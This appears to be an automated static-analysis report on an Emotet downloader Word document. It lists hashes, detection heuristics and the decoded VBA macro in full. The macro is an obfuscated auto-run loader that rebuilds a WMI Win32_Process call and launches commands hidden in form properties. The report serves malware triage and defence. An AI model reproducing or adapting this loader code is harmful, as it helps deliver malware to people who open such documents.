Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 585ca102cf466a84…

MALICIOUS

Office (OLE)

189.9 KB Created: 2019-12-16 21:24:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: e1e82e02d84224fa24768d785c71ccef SHA-1: 66b591081056791f32788c1c7d1301cb719494a7 SHA-256: 585ca102cf466a84cc4286cf5b253a4de9cdc858ea8e549470ad02b6e31a8cc8
272 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-7459477-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7459477-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    Cglhjfjca = Join(Split("qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_h2bdgmqwh_h2bdtsqwh_h2bd:Wqwh_h2bdinqwh_h2bd3qwh_h2bd2_qwh_h2bd", XXXXX), "") + Rvwqpele.Wltmbgzzklq + "rocess"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Dugnaunzi = CreateObject(Nnoxgzhmbo)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Dgmggxahgca = GetObject(INSN & Cglhjfjca)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7797 bytes
SHA-256: dc464572caeef2f58b4cf32489b5ca62c69591a4d828702a9e79df813c14281e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
234 of 392 identifiers look randomly generated (e.g. 'qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Rvwqpele"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Wltmbgzzklq, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dim Ovsdpcvwtt, Cgvjrzilo
For Sbigsalxqooo = Lmwagslpanb To Dnzevfbzbg
         Wiwouosi = Mlkhrjdav
         Pijqjsil = Hex(Gaykkoagyj)
         Wbotnoswblrc = Chr(Nykvjxbw)
         Mxhucuwupx = Bqfutuivi - Kbcwdanq
         Dhphxuhoxmjo = Upodgokcquwsa
         Ucglnyipnvza = Hex(Juvwfbnljj)
         Aqvkfujvcj = Int(Rxlabign)
Next
   Dim Xhlibcnad, Tnixwwlcskkgf
For Sxuwvuaeiknj = Jofmtnsvyrnbl To Mbfxgkqfgrfsj
         Intejvfulxc = Diuicgwjhmlos
         Uovjvkiaigobg = Hex(Zenrbxxwpcdd)
         Hqqmhzwc = Chr(Nuilcoep)
         Mgabhaxsfg = Hzaqxpzhy - Mdhpluayob
         Bpoegbexnjg = Llqppvopwo
         Lmxeidfs = Hex(Ajltftzxdwugz)
         Iygazebqev = Int(Sffbuymlh)
Next
   Dim Xswvuknhds, Zdhstbaf
For Uqkeekoqjnzup = Aggfmzpoao To Pnoudzayglqgc
         Jkbeotjtut = Xfbjpzozduswv
         Dppactmfezk = Hex(Gutbcact)
         Agotjosf = Chr(Dgefsyfkzxkfj)
         Ibruulwympuo = Rmuaqzaq - Evsugsuwd
         Malooghr = Jehhlpetkrsni
         Tcruuxkzceljl = Hex(Tzyjuqkmvcpc)
         Izsvpuepwv = Int(Fedagtrrytpyu)
Next
Dugnaunzi
End Sub

Attribute VB_Name = "Yofjdutb"
Attribute VB_Base = "0{5E09956F-FDC5-48F7-99DE-1B12214F7BF7}{F2EDD97B-4016-4279-926B-F9069B0A3FD2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Dbeqxqyobdi"
Function Jbnuxvdqpqdlz()
   Dim Uwjncacypy, Agigshjw
For Dehffmclsa = Egxnuhgrohv To Kotqrcgujs
         Xvpvefyrn = Jfncqawv
         Svyjvaxftu = Hex(Hxlrwkcxdzhm)
         Ezqtmwwtez = Chr(Ifalthoryq)
         Emtljtnmzkwyp = Qvnsmzkbw - Fzyslojrpadl
         Mfmyicwuzx = Xeztkwornn
         Yipyjhnkd = Hex(Uxdouvlzawaqe)
         Pgwsxyrfzanyl = Int(Lhpeewhitw)
Next
Ingwpfzt = Rvwqpele.Wltmbgzzklq
   Dim Onwvvlved, Tfhwwsszjrtmi
For Bgbohvzailh = Gsffurvksag To Etovboegko
         Jatfyloycsr = Sqveiguburg
         Jtpiwdcqkqb = Hex(Proklbbhjxjb)
         Inojntkbu = Chr(Wokxhatzorcm)
         Ejgavfhvu = Wholjowf - Nrkbxpbmrfb
         Ijeazdmb = Ultfofcfhuq
         Vzyqfidobsdg = Hex(Nxbcotapq)
         Nhoztjmrqj = Int(Nhtqctsp)
Next
Fivghfekka = Ingwpfzt + Yofjdutb.Xbspldhufxu + Yofjdutb.Sirdoncib + Yofjdutb.Eqaemdndxja
   Dim Ssgecajkoqbc, Hwvczdsiyobz
For Rsqqmmkrlrfu = Wqsmquox To Vjzkurdcn
         Vzlqpkqldwft = Iwojsduwlv
         Axtodgshaq = Hex(Ajymtipqgxlvo)
         Pyznpndjtrot = Chr(Klrosiif)
         Dfmfclxa = Djbdrixzeu - Rpwmuhvjlkq
         Kbxgiuojmx = Oxkljamyon
         Qrqeaztsfs = Hex(Aswaqfesu)
         Kkycjexvx = Int(Qrdjimdifvq)
Next
Wsveudlompqzp = Fivghfekka + Yofjdutb.Yiocigbqp + Yofjdutb.Esfybzpbjdqoi
   Dim Yrrctrzlmcpzg, Bxjuiekaqfp
For Olbhlyrjt = Lsqalzlxueiyr To Vnraxduuwbbh
         Kfiimiqnk = Tsdagmjmsdds
         Tryuykrxpjza = Hex(Mchdbjdlq)
         Orvuehnprtr = Chr(Mfzvdtbfxeaq)
         Qjnhaedj = Dkbllymukoqvj - Xrkrnueih
         Dlqnpcmds = Puyrffhjvzgz
         Tsfbzbupev = Hex(Xyoifopf)
         Svpybybgwmn = Int(Khctqxapdrbii)
Next
Jbnuxvdqpqdlz = Dmehcownpr + Wsveudlompqzp + Dmehcownpr
   Dim Hqhkaddmkd, Ryiobqrii
For Hlqhhwagcu = Rwzfvhvjxm To Dwuqovuazfzy
         Wpkwunqpqsck = Mxouzvek
         Shaajmwavz = Hex(Yasyeogbo)
         Tncrezorlnadn = Chr(Gdwboxohync)
         Pdavoihnhvr = Izsyxfmpi - Mpbegddcy
         Hnepefcy = Ahopoaqxp
         Bujygcger = Hex(Kgrfthag)
         Uamhmpscnf = Int(Vgsvqxdvuqpw)
Next
End Function
Function Dugnaunzi()
   Dim Chfmkmovjpu, Uoucmneiajyi
For Urnmmdtd = Swmnxyysygv To Gjebebyhezkt
         Chlyqgfkparkb = Jegjygdic
         Jioxbttc = Hex(Nifenwtdku)
         Auuekgoyzij = Chr(Xwszxrypwwwaf)
         Jfsucwhtcw = Nxleyriqza - Cbyeyxefwe
         Qplapdpcpfks = Yiwukjbgsayd
         Sdqjiroif = Hex(Wkbxwqgt)
         Victfskxkcljk = Int(Pbjtdqcpto)
Next
XXXXX = "qwh_h2bd"
Cglhjfjca = Join(Split("qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_h2bdgmqwh_h2bdtsqwh_h2bd:Wqwh_h2bdinqwh_h2bd3qwh_h2bd2_qwh_h2bd", XXXXX), "") + Rvwqpele.Wltmbgzzklq + "rocess"
   Dim Fejjepfoso, Nwzmmwwnoq
For Eahqgdcu = Zglyytpgubqv To Ebtihyvoti
         Hohollqu = Boycxivikiry
         Jumuxkndt = Hex(Byfqeeollz)
         Famslxwljc = Chr(Rzwwmfyue)
         Jpsfddmafdkht = Cfwiczvayfir - Bkfpdddsr
         Xcwbhsclv = Xwnxnpuavlnt
         Espiojoeafwy = Hex(Nggdcinjbgpn)
         Xwjisjcamdg = Int(Tviaoqcmo)
Next
Set Dgmggxahgca = GetObject(INSN & Cglhjfjca)
   Dim Vfuruifno, Drzkzrasop
For Oxqfvfjvhwf = Jajhnkykohtj To Ariirpogudc
         Erbhmmrqr = Aeggzqxwbp
         Zoowedgg = Hex(Ctsnagwb)
         Ayhmjhgegg = Chr(Vnctypnnkkfx)
         Nlpqzapadag = Wwbzyviyflh - Nmyptkjvt
         Phhdvjbmwcq = Khbtoiaiis
         Bohwsrcb = Hex(Qnfdwjumex)
         Emiphluggou = Int(Vupdkoovaqno)
Next
Boefayruavrf = Cglhjfjca + Yofjdutb.Ddbvvtfg.ControlTipText + Yofjdutb.Kdkbcxnewfe.ControlTipText
   Dim Jdpqdhsmzdi, Qwoblxezungzi
For Fdcdnhawvle = Uapxtukq To Cvwopqjq
         Egvbetrpa = Gscetxigoox
         Aiqtlfmu = Hex(Ynfnszcvpklvd)
         Wsakgtgdtb = Chr(Yeugvwue)
         Jqgltispefv = Nmjderklmvv - Udqziqshijd
         Ykdxrhpphtlsp = Dxvlhdnoz
         Fqhecfhfszhpd = Hex(Ankegsdmelo)
         Vkvesvcyidq = Int(Kugvhrxsca)
Next
Nnoxgzhmbo = Boefayruavrf + Rvwqpele.Wltmbgzzklq
   Dim Cqsojsiufnsxi, Vlbrjoqyjs
For Wrvqxmvwd = Hgidhgjs To Cdeemyil
         Whmlckxvln = Zjtlbljrz
         Funqlknm = Hex(Ngauwawjnh)
         Vevlbwxc = Chr(Wghrpumkxa)
         Mcsqfkmilrmcy = Zjqpikdjtnel - Dknpzstskrmpr
         Uetfzmbgk = Iszdazjlig
         Zrbgyzdssf = Hex(Ilfckbeclojat)
         Nggpyvstoyf = Int(Hlsdnavpt)
Next
Set Dugnaunzi = CreateObject(Nnoxgzhmbo)
   Dim Psfwgesw, Qzrtdjxg
For Kagvthoqvhugx = Jixybdrt To Dgphxpgehrol
         Ypbaegjb = Uazissshabqb
         Xrocqglxyv = Hex(Crozkbmwnx)
         Mpzhlimxqscns = Chr(Nhwbeigpbs)
         Opcvabqpbgdm = Cvjobgcqzo - Lpgzxpjqxinw
         Brkgdjlvgk = Quoypnefqaj
         Oczluinmpf = Hex(Slhkpjvtk)
         Bzszrwvaihy = Int(Lkmcsaape)
Next
Dugnaunzi.XSize = False
   Dim Kgmacyqov, Qyeaoapmgfn
For Hwxipuuj = Moitfobyerq To Ixggjhqc
         Jsgbizbshg = Mghjxegjdmmu
         Inlbtlpcya = Hex(Tzcziorqlay)
         Mvniwglmxq = Chr(Fnzdkhhkk)
         Gdexdyzio = Gpbtctnavjo - Bsmatrpa
         Gesjioyizvo = Bqenwjpysl
         Klyowwqfbvokk = Hex(Xbowoujlkp)
         Qlqotrmycztc = Int(Bhgbucrxsxdom)
Next
Dugnaunzi.YSize = False
   Dim Txpfzduo, Whepttrh
For Pnqbghcpp = Upeksmabpacen To Ixiibdcalghoz
         Fyhccszf = Qgnenjdng
         Hhaurotel = Hex(Jovdwklh)
         Halxpwywdbss = Chr(Rgikdfaojowyi)
         Tczpnzgowc = Hiwiruxlpbad - Srwbqookkztd
         Lslimksgngfel = Rbvlwhpsvmdgx
         Onnyaxpsrszld = Hex(Mcqnsxyrkrwzq)
         Euiqrrrmxy = Int(Dtxvlbzaaq)
Next
Do While Dgmggxahgca.Create(Null & Jbnuxvdqpqdlz, Bndzggtvedjg, Dugnaunzi, Hgkivcndm)
Loop
   Dim Ucmuvqxqnqeg, Saatnueytbgly
For Iylvfvjgfnidj = Rqmhrzmvmf To Jlnjsxtfrtkrd
         Vgeqvrkjqzqi = Dyqqzavsdqgp
         Yfveifrohpse = Hex(Xkbpvjnu)
         Ejydcokg = Chr(Kkdmzsdoqbyu)
         Utorureeluaz = Ltemohrmgpp - Zdtcjhfij
         Myofzjmakpcx = Gtcinybqle
         Sqrcgctmzptl = Hex(Dpsqwfxqcncaw)
         Vmjehrviiia = Int(Mqaqupvmxu)
Next
End Function

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